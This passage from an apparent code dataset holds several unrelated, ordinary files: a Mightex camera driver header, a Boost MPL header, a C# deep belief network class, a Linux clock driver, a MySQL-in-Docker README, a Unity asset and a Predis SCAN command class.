105\r\n#define ERR_STAGE_MOVING 106\r\n#define SIMULATED_ERROR 200\r\n#define HUB_NOT_AVAILABLE 107\r\n\r\nconst char* NoHubError = \"Parent Hub not defined.\";\r\n\r\nstruct FrmSize{ int width; int height;};\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\n// CMightex_BUF_USBCCDCamera class\r\n// Simulation of the Camera device\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nclass MySequenceThread;\r\n\r\nclass CMightex_BUF_USBCCDCamera : public CCameraBase<CMightex_BUF_USBCCDCamera> \r\n{\r\npublic:\r\n CMightex_BUF_USBCCDCamera();\r\n ~CMightex_BUF_USBCCDCamera();\r\n \r\n // MMDevice API\r\n // ------------\r\n int Initialize();\r\n int Shutdown();\r\n \r\n void GetName(char* name) const; \r\n \r\n // MMCamera API\r\n // ------------\r\n int SnapImage();\r\n const unsigned char* GetImageBuffer();\r\n unsigned GetImageWidth() const;\r\n unsigned GetImageHeight() const;\r\n unsigned GetImageBytesPerPixel() const;\r\n unsigned GetBitDepth() const;\r\n long GetImageBufferSize() const;\r\n double GetExposure() const;\r\n void SetExposure(double exp);\r\n int SetROI(unsigned x, unsigned y, unsigned xSize, unsigned ySize); \r\n int GetROI(unsigned& x, unsigned& y, unsigned& xSize, unsigned& ySize); \r\n int ClearROI();\r\n int PrepareSequenceAcqusition()\r\n {\r\n return DEVICE_OK;\r\n }\r\n int StartSequenceAcquisition(double interval);\r\n int StartSequenceAcquisition(long numImages, double interval_ms, bool stopOnOverflow);\r\n int StopSequenceAcquisition();\r\n int InsertImage();\r\n int ThreadRun(MM::MMTime startTime);\r\n bool IsCapturing();\r\n void OnThreadExiting() throw(); \r\n double GetNominalPixelSizeUm() const {return nominalPixelSizeUm_;}\r\n double GetPixelSizeUm() const {return nominalPixelSizeUm_ * GetBinning();}\r\n int GetBinning() const;\r\n int SetBinning(int bS);\r\n\r\n int IsExposureSequenceable(bool& isSequenceable) const;\r\n int GetExposureSequenceMaxLength(long& nrEvents);\r\n int StartExposureSequence();\r\n int StopExposureSequence();\r\n int ClearExposureSequence();\r\n int AddToExposureSequence(double exposureTime_ms);\r\n int SendExposureSequence() const;\r\n\r\n unsigned GetNumberOfComponents() const { return nComponents_;};\r\n\r\n // action interface\r\n // ----------------\r\n\t// floating point read-only properties for testing\r\n\t//int OnTestProperty(MM::PropertyBase* pProp, MM::ActionType eAct, long);\r\n\t//int OnSwitch(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n int OnBinning(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n int OnPixelType(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n int OnBitDepth(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnReadoutTime(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnScanMode(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnErrorSimulation(MM::PropertyBase* , MM::ActionType );\r\n //int OnCameraCCDXSize(MM::PropertyBase* , MM::ActionType );\r\n //int OnCameraCCDYSize(MM::PropertyBase* , MM::ActionType );\r\n //int OnTriggerDevice(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnDropPixels(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnFastImage(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnSaturatePixels(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnFractionOfPixelsToDropOrSaturate(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnCCDTemp(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n int OnIsSequenceable(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\r\n\tint InitCamera();\r\n\tint GetCameraBufferCount(int width, int height);\r\n void RGB3toRGB4(const char* srcPixels, char* destPixels, int width, int height);\r\n void RGB3toRGB1(const char* srcPixels, char* destPixels, int width, int height);\r\n //int OnMaximumExposure(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n int OnExposure(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnGain(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnResolution(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnXStart(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnYStart(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnH_Mirror(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n\tint OnV_Flip(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n //int OnBin(MM::PropertyBase* pProp, MM::ActionType eAct);\r\n void RAWtoImageJ();\r\n\r\nprivate:\r\n int SetAllowedBinning(int isBinning);\r\n void TestResourceLocking(const bool);\r\n void GenerateEmptyImage(ImgBuffer& img);\r\n int ResizeImageBuffer();\r\n\r\n static const double nominalPixelSizeUm_;\r\n\r\n double dPhase_;\r\n ImgBuffer img_;\r\n bool busy_;\r\n bool stopOnOverFlow_;\r\n bool initialized_;\r\n double readoutUs_;\r\n MM::MMTime readoutStartTime_;\r\n long scanMode_;\r\n int bitDepth_;\r\n unsigned roiX_;\r\n unsigned roiY_;\r\n MM::MMTime sequenceStartTime_;\r\n bool isSequenceable_;\r\n long sequenceMaxLength_;\r\n bool sequenceRunning_;\r\n unsigned long sequenceIndex_;\r\n double GetSequenceExposure();\r\n std::vector<double> exposureSequence_;\r\n long imageCounter_;\r\n\tlong binSize_;\r\n\tlong cameraCCDXSize_;\r\n\tlong cameraCCDYSize_;\r\n double ccdT_;\r\n\tstd::string triggerDevice_;\r\n\r\n bool stopOnOverflow_;\r\n\r\n\tbool dropPixels_;\r\n bool fastImage_;\r\n\tbool saturatePixels_;\r\n\tdouble fractionOfPixelsToDropOrSaturate_;\r\n\r\n\tdouble testProperty_[10];\r\n MMThreadLock* pDemoResourceLock_;\r\n MMThreadLock imgPixelsLock_;\r\n friend class MySequenceThread;\r\n int nComponents_;\r\n MySequenceThread * thd_;\r\n\r\n\r\n\tHINSTANCE HDll;\r\n\tchar camNames[64];\r\n\tint deviceType;\r\n\tint deviceColorType;\r\n\tint MAX_RESOLUTION;\r\n\tint s_MAX_RESOLUTION;\r\n\tbool is_initCamera;\r\n\tlong yStart;\r\n\tlong h_Mirror;\r\n\tlong v_Flip;\r\n\tlong MaximumExposureTime_index;\r\n\tstruct FrmSize *p_frmSize;\r\n\t//long bin;\r\n};\r\n\r\n\r\nclass MySequenceThread : public MMDeviceThreadBase\r\n{\r\n friend class CMightex_BUF_USBCCDCamera;\r\n enum { default_numImages=1, default_intervalMS = 100 };\r\n public:\r\n MySequenceThread(CMightex_BUF_USBCCDCamera* pCam);\r\n ~MySequenceThread();\r\n void Stop();\r\n void Start(long numImages, double intervalMs);\r\n bool IsStopped();\r\n void Suspend();\r\n bool IsSuspended();\r\n void Resume();\r\n double GetIntervalMs(){return intervalMs_;} \r\n void SetLength(long images) {numImages_ = images;} \r\n long GetLength() const {return numImages_;}\r\n long GetImageCounter(){return imageCounter_;} \r\n MM::MMTime GetStartTime(){return startTime_;} \r\n MM::MMTime GetActualDuration(){return actualDuration_;}\r\n private: \r\n int svc(void) throw();\r\n double intervalMs_; \r\n long numImages_; \r\n long imageCounter_; \r\n bool stop_; \r\n bool suspend_; \r\n CMightex_BUF_USBCCDCamera* camera_; \r\n MM::MMTime startTime_; \r\n MM::MMTime actualDuration_; \r\n MM::MMTime lastFrameTime_; \r\n MMThreadLock stopLock_; \r\n MMThreadLock suspendLock_; \r\n}; \r\n\r\n#endif //_Mightex_USBCamera_H_\r\n"} {"text": "\r\n// Copyright Aleksey Gurtovoy 2000-2004\r\n// Copyright David Abrahams 2003-2004\r\n//\r\n// Distributed under the Boost Software License, Version 1.0. \r\n// (See accompanying file LICENSE_1_0.txt or copy at \r\n// http://www.boost.org/LICENSE_1_0.txt)\r\n//\r\n\r\n// Preprocessed version of \"boost/mpl/map/map10.hpp\" header\r\n// -- DO NOT modify by hand!\r\n\r\nnamespace boost { namespace mpl {\r\n\r\ntemplate<\r\n typename P0\r\n >\r\nstruct map1\r\n : m_item<\r\n typename P0::first\r\n , typename P0::second\r\n , map0< >\r\n >\r\n{\r\n typedef map1 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1\r\n >\r\nstruct map2\r\n : m_item<\r\n typename P1::first\r\n , typename P1::second\r\n , map1<P0>\r\n >\r\n{\r\n typedef map2 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2\r\n >\r\nstruct map3\r\n : m_item<\r\n typename P2::first\r\n , typename P2::second\r\n , map2< P0,P1 >\r\n >\r\n{\r\n typedef map3 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3\r\n >\r\nstruct map4\r\n : m_item<\r\n typename P3::first\r\n , typename P3::second\r\n , map3< P0,P1,P2 >\r\n >\r\n{\r\n typedef map4 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n >\r\nstruct map5\r\n : m_item<\r\n typename P4::first\r\n , typename P4::second\r\n , map4< P0,P1,P2,P3 >\r\n >\r\n{\r\n typedef map5 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n , typename P5\r\n >\r\nstruct map6\r\n : m_item<\r\n typename P5::first\r\n , typename P5::second\r\n , map5< P0,P1,P2,P3,P4 >\r\n >\r\n{\r\n typedef map6 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n , typename P5, typename P6\r\n >\r\nstruct map7\r\n : m_item<\r\n typename P6::first\r\n , typename P6::second\r\n , map6< P0,P1,P2,P3,P4,P5 >\r\n >\r\n{\r\n typedef map7 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n , typename P5, typename P6, typename P7\r\n >\r\nstruct map8\r\n : m_item<\r\n typename P7::first\r\n , typename P7::second\r\n , map7< P0,P1,P2,P3,P4,P5,P6 >\r\n >\r\n{\r\n typedef map8 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n , typename P5, typename P6, typename P7, typename P8\r\n >\r\nstruct map9\r\n : m_item<\r\n typename P8::first\r\n , typename P8::second\r\n , map8< P0,P1,P2,P3,P4,P5,P6,P7 >\r\n >\r\n{\r\n typedef map9 type;\r\n};\r\n\r\ntemplate<\r\n typename P0, typename P1, typename P2, typename P3, typename P4\r\n , typename P5, typename P6, typename P7, typename P8, typename P9\r\n >\r\nstruct map10\r\n : m_item<\r\n typename P9::first\r\n , typename P9::second\r\n , map9< P0,P1,P2,P3,P4,P5,P6,P7,P8 >\r\n >\r\n{\r\n typedef map10 type;\r\n};\r\n\r\n}}\r\n"} {"text": "// Artificial Intelligence for Humans\r\n// Volume 3: Deep Learning and Neural Networks\r\n// C# Version\r\n// http://www.aifh.org\r\n// http://www.jeffheaton.com\r\n//\r\n// Code repository:\r\n// https://github.com/jeffheaton/aifh\r\n//\r\n// Copyright 2015 by Jeff Heaton\r\n//\r\n// Licensed under the Apache License, Version 2.0 (the \"License\");\r\n// you may not use this file except in compliance with the License.\r\n// You may obtain a copy of the License at\r\n//\r\n// http://www.apache.org/licenses/LICENSE-2.0\r\n//\r\n// Unless required by applicable law or agreed to in writing, software\r\n// distributed under the License is distributed on an \"AS IS\" BASIS,\r\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n// See the License for the specific language governing permissions and\r\n// limitations under the License.\r\n//\r\n// For more information on Heaton Research copyrights, licenses\r\n// and trademarks visit:\r\n// http://www.heatonresearch.com/copyright\r\n//\r\n\r\nusing System;\r\nusing AIFH_Vol3.Core;\r\nusing AIFH_Vol3.Core.Learning;\r\nusing AIFH_Vol3.Core.Randomize;\r\n\r\nnamespace AIFH_Vol3_Core.Core.DBNN\r\n{\r\n /// <summary>\r\n /// A deep belief neural network.\r\n /// References:\r\n /// http://deeplearning.net/software/theano/\r\n /// https://github.com/yusugomori/DeepLearning\r\n /// http://en.wikipedia.org/wiki/Deep_learning\r\n /// </summary>\r\n public class DeepBeliefNetwork : IRegressionAlgorithm\r\n {\r\n /// <summary>\r\n /// The hidden layers of the neural network.\r\n /// </summary>\r\n private readonly HiddenLayer[] _layers;\r\n\r\n /// <summary>\r\n /// The output layer for the neural network.\r\n /// </summary>\r\n private readonly DeepLayer _outputLayer;\r\n\r\n /// <summary>\r\n /// The restricted boltzmann machines for the neural network, one for leach layer.\r\n /// </summary>\r\n private readonly RestrictedBoltzmannMachine[] _rbm;\r\n\r\n /// <summary>\r\n /// Construct a deep belief neural network.\r\n /// </summary>\r\n /// <param name=\"inputCount\">The input count.</param>\r\n /// <param name=\"hidden\">The counts for the hidden layers.</param>\r\n /// <param name=\"outputCount\">The output neuron count.</param>\r\n public DeepBeliefNetwork(int inputCount, int[] hidden, int outputCount)\r\n {\r\n int inputSize;\r\n\r\n _layers = new HiddenLayer[hidden.Length];\r\n _rbm = new RestrictedBoltzmannMachine[hidden.Length];\r\n\r\n for (var i = 0; i < _rbm.Length; i++)\r\n {\r\n if (i == 0)\r\n {\r\n inputSize = inputCount;\r\n }\r\n else\r\n {\r\n inputSize = hidden[i - 1];\r\n }\r\n\r\n _layers[i] = new HiddenLayer(this, inputSize, hidden[i]);\r\n\r\n _rbm[i] = new RestrictedBoltzmannMachine(_layers[i]);\r\n }\r\n\r\n _outputLayer = new DeepLayer(this, hidden[_layers.Length - 1], outputCount);\r\n Random = new MersenneTwisterGenerateRandom();\r\n }\r\n\r\n /// <summary>\r\n /// The random number generator to use.\r\n /// </summary>\r\n public IGenerateRandom Random { get; set; }\r\n\r\n /// <summary>\r\n /// The layers of the neural network.\r\n /// </summary>\r\n /// <returns></returns>\r\n public HiddenLayer[] Layers\r\n {\r\n get { return _layers; }\r\n }\r\n\r\n /// <summary>\r\n /// The restricted Boltzmann machines.\r\n /// </summary>\r\n public RestrictedBoltzmannMachine[] RBMLayers\r\n {\r\n get { return _rbm; }\r\n }\r\n\r\n /// <summary>\r\n /// The input count.\r\n /// </summary>\r\n public int InputCount\r\n {\r\n get { return _layers[0].InputCount; }\r\n }\r\n\r\n /// <summary>\r\n /// The output (logistic) layer.\r\n /// </summary>\r\n public DeepLayer LogLayer\r\n {\r\n get { return _outputLayer; }\r\n }\r\n\r\n\r\n /// <summary>\r\n /// The number of output neurons.\r\n /// </summary>\r\n public int OutputCount\r\n {\r\n get { return _outputLayer.OutputCount; }\r\n }\r\n\r\n /// <summary>\r\n /// Classify the input data into the list of probabilities of each class.\r\n /// </summary>\r\n /// <param name=\"input\">The input.</param>\r\n /// <returns>An array that contains the probabilities of each class.</returns>\r\n public double[] ComputeRegression(double[] input)\r\n {\r\n var result = new double[OutputCount];\r\n var layerInput = new double[0];\r\n var prevLayerInput = new double[InputCount];\r\n\r\n Array.Copy(input, prevLayerInput, InputCount);\r\n\r\n double output;\r\n\r\n for (var i = 0; i < _layers.Length; i++)\r\n {\r\n layerInput = new double[_layers[i].OutputCount];\r\n\r\n for (var k = 0; k < _layers[i].OutputCount; k++)\r\n {\r\n output = 0.0;\r\n\r\n for (var j = 0; j < _layers[i].InputCount; j++)\r\n {\r\n output += _layers[i].Weights[k][j]*prevLayerInput[j];\r\n }\r\n output += _layers[i].Bias[k];\r\n layerInput[k] = Sigmoid(output);\r\n }\r\n\r\n if (i < _layers.Length - 1)\r\n {\r\n prevLayerInput = new double[_layers[i].OutputCount];\r\n Array.Copy(layerInput, 0, prevLayerInput, 0, _layers[i].OutputCount);\r\n }\r\n }\r\n\r\n for (var i = 0; i < _outputLayer.OutputCount; i++)\r\n {\r\n result[i] = 0;\r\n for (var j = 0; j < _outputLayer.InputCount; j++)\r\n {\r\n result[i] += _outputLayer.Weights[i][j]*layerInput[j];\r\n }\r\n result[i] += _outputLayer.Bias[i];\r\n }\r\n\r\n _outputLayer.Softmax(result);\r\n return result;\r\n }\r\n\r\n /// <inheritdoc />\r\n public double[] LongTermMemory\r\n {\r\n get { throw new AIFHError(\"Can't access DBM memory as array.\"); }\r\n }\r\n\r\n /// <summary>\r\n /// Randomize the weights of the neural network.\r\n /// </summary>\r\n public void Reset()\r\n {\r\n for (var i = 0; i < _rbm.Length; i++)\r\n {\r\n var layer = _layers[i];\r\n\r\n var a = 1.0/layer.InputCount;\r\n\r\n for (var j = 0; j < layer.OutputCount; j++)\r\n {\r\n for (var k = 0; k < layer.InputCount; k++)\r\n {\r\n layer.Weights[j][k] = Random.NextDouble(-a, a);\r\n }\r\n }\r\n }\r\n }\r\n\r\n /// <summary>\r\n /// The sigmoid/logistic function, used by the output layer.\r\n /// </summary>\r\n /// <param name=\"x\">The input.</param>\r\n /// <returns>The output.</returns>\r\n public static double Sigmoid(double x)\r\n {\r\n return 1.0/(1.0 + Math.Exp(-x));\r\n }\r\n }\r\n}"} {"text": "package ru.surfstudio.android.build.model\n\nimport ru.surfstudio.android.build.model.module.Library\nimport ru.surfstudio.android.build.model.module.Module\nimport ru.surfstudio.android.build.model.module.Sample\nimport ru.surfstudio.android.build.utils.EMPTY_INT\nimport ru.surfstudio.android.build.utils.EMPTY_STRING\n\n/**\n * Represent information about component\n */\ndata class Component(\n val name: String = EMPTY_STRING,\n val directory: String = EMPTY_STRING,\n val baseVersion: String = EMPTY_STRING, // Version from components.json\n var projectVersion: String = EMPTY_STRING, // Project version\n val stable: Boolean = false,\n var unstableVersion: Int = EMPTY_INT,\n val libraries: List<Library> = listOf(),\n val samples: List<Sample> = listOf(),\n val hasMirror: Boolean = false,\n val mirrorRepo: String = EMPTY_STRING\n) {\n\n /**\n * Get components module\n */\n fun getModules(skipSamples: Boolean = false): List<Module> =\n if (skipSamples)\n libraries\n else\n libraries + samples\n}"} {"text": "/*\n * abx500 clock implementation for ux500 platform.\n *\n * Copyright (C) 2012 ST-Ericsson SA\n * Author: Ulf Hansson <ulf.hansson@linaro.org>\n *\n * License terms: GNU General Public License (GPL) version 2\n */\n\n#include <linux/err.h>\n#include <linux/module.h>\n#include <linux/device.h>\n#include <linux/platform_device.h>\n#include <linux/mfd/abx500/ab8500.h>\n#include <linux/mfd/abx500/ab8500-sysctrl.h>\n#include <linux/clkdev.h>\n#include <linux/clk-provider.h>\n#include <linux/mfd/dbx500-prcmu.h>\n#include \"clk.h\"\n\n/* Clock definitions for ab8500 */\nstatic int ab8500_reg_clks(struct device *dev)\n{\n\tint ret;\n\tstruct clk *clk;\n\n\tconst char *intclk_parents[] = {\"ab8500_sysclk\", \"ulpclk\"};\n\tu16 intclk_reg_sel[] = {0 , AB8500_SYSULPCLKCTRL1};\n\tu8 intclk_reg_mask[] = {0 , AB8500_SYSULPCLKCTRL1_SYSULPCLKINTSEL_MASK};\n\tu8 intclk_reg_bits[] = {\n\t\t0 ,\n\t\t(1 << AB8500_SYSULPCLKCTRL1_SYSULPCLKINTSEL_SHIFT)\n\t};\n\n\tdev_info(dev, \"register clocks for ab850x\\n\");\n\n\t/* Enable SWAT */\n\tret = ab8500_sysctrl_set(AB8500_SWATCTRL, AB8500_SWATCTRL_SWATENABLE);\n\tif (ret)\n\t\treturn ret;\n\n\t/* ab8500_sysclk */\n\tclk = clk_reg_prcmu_gate(\"ab8500_sysclk\", NULL, PRCMU_SYSCLK, 0);\n\tclk_register_clkdev(clk, \"sysclk\", \"ab8500-usb.0\");\n\tclk_register_clkdev(clk, \"sysclk\", \"ab-iddet.0\");\n\tclk_register_clkdev(clk, \"sysclk\", \"snd-soc-mop500.0\");\n\tclk_register_clkdev(clk, \"sysclk\", \"shrm_bus\");\n\n\t/* ab8500_sysclk2 */\n\tclk = clk_reg_sysctrl_gate(dev , \"ab8500_sysclk2\", \"ab8500_sysclk\",\n\t\tAB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF2REQ,\n\t\tAB8500_SYSULPCLKCTRL1_SYSCLKBUF2REQ, 0, 0);\n\tclk_register_clkdev(clk, \"sysclk\", \"0-0070\");\n\n\t/* ab8500_sysclk3 */\n\tclk = clk_reg_sysctrl_gate(dev , \"ab8500_sysclk3\", \"ab8500_sysclk\",\n\t\tAB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF3REQ,\n\t\tAB8500_SYSULPCLKCTRL1_SYSCLKBUF3REQ, 0, 0);\n\tclk_register_clkdev(clk, \"sysclk\", \"cg1960_core.0\");\n\n\t/* ab8500_sysclk4 */\n\tclk = clk_reg_sysctrl_gate(dev , \"ab8500_sysclk4\", \"ab8500_sysclk\",\n\t\tAB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_SYSCLKBUF4REQ,\n\t\tAB8500_SYSULPCLKCTRL1_SYSCLKBUF4REQ, 0, 0);\n\n\t/* ab_ulpclk */\n\tclk = clk_reg_sysctrl_gate_fixed_rate(dev, \"ulpclk\", NULL,\n\t\tAB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_ULPCLKREQ,\n\t\tAB8500_SYSULPCLKCTRL1_ULPCLKREQ,\n\t\t38400000, 9000, 0);\n\tclk_register_clkdev(clk, \"ulpclk\", \"snd-soc-mop500.0\");\n\n\t/* ab8500_intclk */\n\tclk = clk_reg_sysctrl_set_parent(dev , \"intclk\", intclk_parents, 2,\n\t\tintclk_reg_sel, intclk_reg_mask, intclk_reg_bits, 0);\n\tclk_register_clkdev(clk, \"intclk\", \"snd-soc-mop500.0\");\n\tclk_register_clkdev(clk, NULL, \"ab8500-pwm.1\");\n\n\t/* ab8500_audioclk */\n\tclk = clk_reg_sysctrl_gate(dev , \"audioclk\", \"intclk\",\n\t\tAB8500_SYSULPCLKCTRL1, AB8500_SYSULPCLKCTRL1_AUDIOCLKENA,\n\t\tAB8500_SYSULPCLKCTRL1_AUDIOCLKENA, 0, 0);\n\tclk_register_clkdev(clk, \"audioclk\", \"ab8500-codec.0\");\n\n\treturn 0;\n}\n\n/* Clock definitions for ab8540 */\nstatic int ab8540_reg_clks(struct device *dev)\n{\n\treturn 0;\n}\n\n/* Clock definitions for ab9540 */\nstatic int ab9540_reg_clks(struct device *dev)\n{\n\treturn 0;\n}\n\nstatic int abx500_clk_probe(struct platform_device *pdev)\n{\n\tstruct ab8500 *parent = dev_get_drvdata(pdev->dev.parent);\n\tint ret;\n\n\tif (is_ab8500(parent) || is_ab8505(parent)) {\n\t\tret = ab8500_reg_clks(&pdev->dev);\n\t} else if (is_ab8540(parent)) {\n\t\tret = ab8540_reg_clks(&pdev->dev);\n\t} else if (is_ab9540(parent)) {\n\t\tret = ab9540_reg_clks(&pdev->dev);\n\t} else {\n\t\tdev_err(&pdev->dev, \"non supported plf id\\n\");\n\t\treturn -ENODEV;\n\t}\n\n\treturn ret;\n}\n\nstatic struct platform_driver abx500_clk_driver = {\n\t.driver = {\n\t\t.name = \"abx500-clk\",\n\t},\n\t.probe\t= abx500_clk_probe,\n};\n\nstatic int __init abx500_clk_init(void)\n{\n\treturn platform_driver_register(&abx500_clk_driver);\n}\n\narch_initcall(abx500_clk_init);\n\nMODULE_AUTHOR(\"Ulf Hansson <ulf.hansson@linaro.org\");\nMODULE_DESCRIPTION(\"ABX500 clk driver\");\nMODULE_LICENSE(\"GPL v2\");\n"} {"text": "# Using MYSQL instead of H2 database\n\n## Start MySql using Docker\n\n docker run -p 3306:3306 --name mysql -d -e MYSQL_ROOT_PASSWORD=\"manager\" -e MYSQL_ROOT_HOST=% mysql/mysql-server:5.7 --init-connect=\"GRANT CREATE USER ON *.* TO 'root'@'%';FLUSH PRIVILEGES;\"\n\n## Wait for MySql to start\n\n docker logs -f mysql\n\nOnce you get \n\n MySQL init process done. Ready for start up.\n\nyou can proceed with the next step\n\n## Create angulardb database\n\n docker exec -it mysql mysql -uroot -pmanager\n \n create database angulardb;\n quit;\n\n## Change the config in pom.xml\n\nEdit the `pom.xml` to comment the H2 settings and uncomment the MySQL settings.\nThen follow the instruction from the main `README.md` file.\n\n## Clean up\n\nOnce done, you may stop and remove your my sql container\n\n docker stop mysql\n docker rm mysql\n\n\n"} {"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!114 &11400000\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 0}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 11500000, guid: dba9e42ad4040154b8541513b096645f, type: 3}\n m_Name: warden's jacket\n m_EditorClassIdentifier: \n Base:\n Equipped:\n Texture: {fileID: 2800000, guid: 1c1cc2dc670ecdb49b88161e654e31a1, type: 3}\n Sprites:\n - {fileID: 21300000, guid: 1c1cc2dc670ecdb49b88161e654e31a1, type: 3}\n - {fileID: 21300002, guid: 1c1cc2dc670ecdb49b88161e654e31a1, type: 3}\n - {fileID: 21300004, guid: 1c1cc2dc670ecdb49b88161e654e31a1, type: 3}\n - {fileID: 21300006, guid: 1c1cc2dc670ecdb49b88161e654e31a1, type: 3}\n EquippedData: {fileID: 4900000, guid: 50d796dab1c2d5e42b6411c20a42b1ff, type: 3}\n InHandsLeft:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n InHandsRight:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n ItemIcon:\n Texture: {fileID: 2800000, guid: 5fb24498a85d6c344954d5a80ea75ea9, type: 3}\n Sprites:\n - {fileID: 21300000, guid: 5fb24498a85d6c344954d5a80ea75ea9, type: 3}\n EquippedData: {fileID: 0}\n SpriteEquipped: {fileID: 11400000, guid: 2a73d42b0031bb44cbe08fa221e526c8, type: 2}\n SpriteInHandsLeft: {fileID: 0}\n SpriteInHandsRight: {fileID: 0}\n SpriteItemIcon: {fileID: 11400000, guid: 3b0299f1768d5d14493b63cda40f09bb, type: 2}\n Palette:\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n IsPaletted: 0\n Base_Adjusted:\n Equipped:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n InHandsLeft:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n InHandsRight:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n ItemIcon:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n SpriteEquipped: {fileID: 0}\n SpriteInHandsLeft: {fileID: 0}\n SpriteInHandsRight: {fileID: 0}\n SpriteItemIcon: {fileID: 0}\n Palette:\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n IsPaletted: 0\n DressVariant:\n Equipped:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n InHandsLeft:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n InHandsRight:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n ItemIcon:\n Texture: {fileID: 0}\n Sprites: []\n EquippedData: {fileID: 0}\n SpriteEquipped: {fileID: 0}\n SpriteInHandsLeft: {fileID: 0}\n SpriteInHandsRight: {fileID: 0}\n SpriteItemIcon: {fileID: 0}\n Palette:\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n - {r: 0, g: 0, b: 0, a: 0}\n IsPaletted: 0\n Variants: []\n"} {"text": "<?php\n\n/*\n * This file is part of the Predis package.\n *\n * (c) Daniele Alessandri <suppakilla@gmail.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\nnamespace Predis\\Command;\n\n/**\n * @link http://redis.io/commands/scan\n *\n * @author Daniele Alessandri <suppakilla@gmail.com>\n */\nclass KeyScan extends Command\n{\n /**\n * {@inheritdoc}\n */\n public function getId()\n {\n return 'SCAN';\n }\n\n /**\n * {@inheritdoc}\n */\n protected function filterArguments(array $arguments)\n {\n if (count($arguments) === 2 && is_array($arguments[1])) {\n $options = $this->prepareOptions(array_pop($arguments));\n $arguments = array_merge($arguments, $options);\n }\n\n return $arguments;\n }\n\n /**\n * Returns a list of options and modifiers compatible with Redis.\n *\n * @param array $options List of options.\n *\n * @return array\n */\n protected function prepareOptions($options)\n {\n $options = array_change_key_case($options, CASE_UPPER);\n $normalized = array();\n\n if (!empty($options['MATCH'])) {\n $normalized[] = 'MATCH';\n $normalized[] = $options['MATCH'];\n }\n\n if (!empty($options['COUNT'])) {\n $normalized[] = 'COUNT';\n $normalized[] = $options['COUNT'];\n }\n\n return $normalized;\n }\n}\n"} {"text": "/*\n * Copyright 2012,2016 Jim Lawton <jim dot lawton at gmail dot com>\n *\n * This file is part of yaAGC.\n *\n * yaAGC is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software 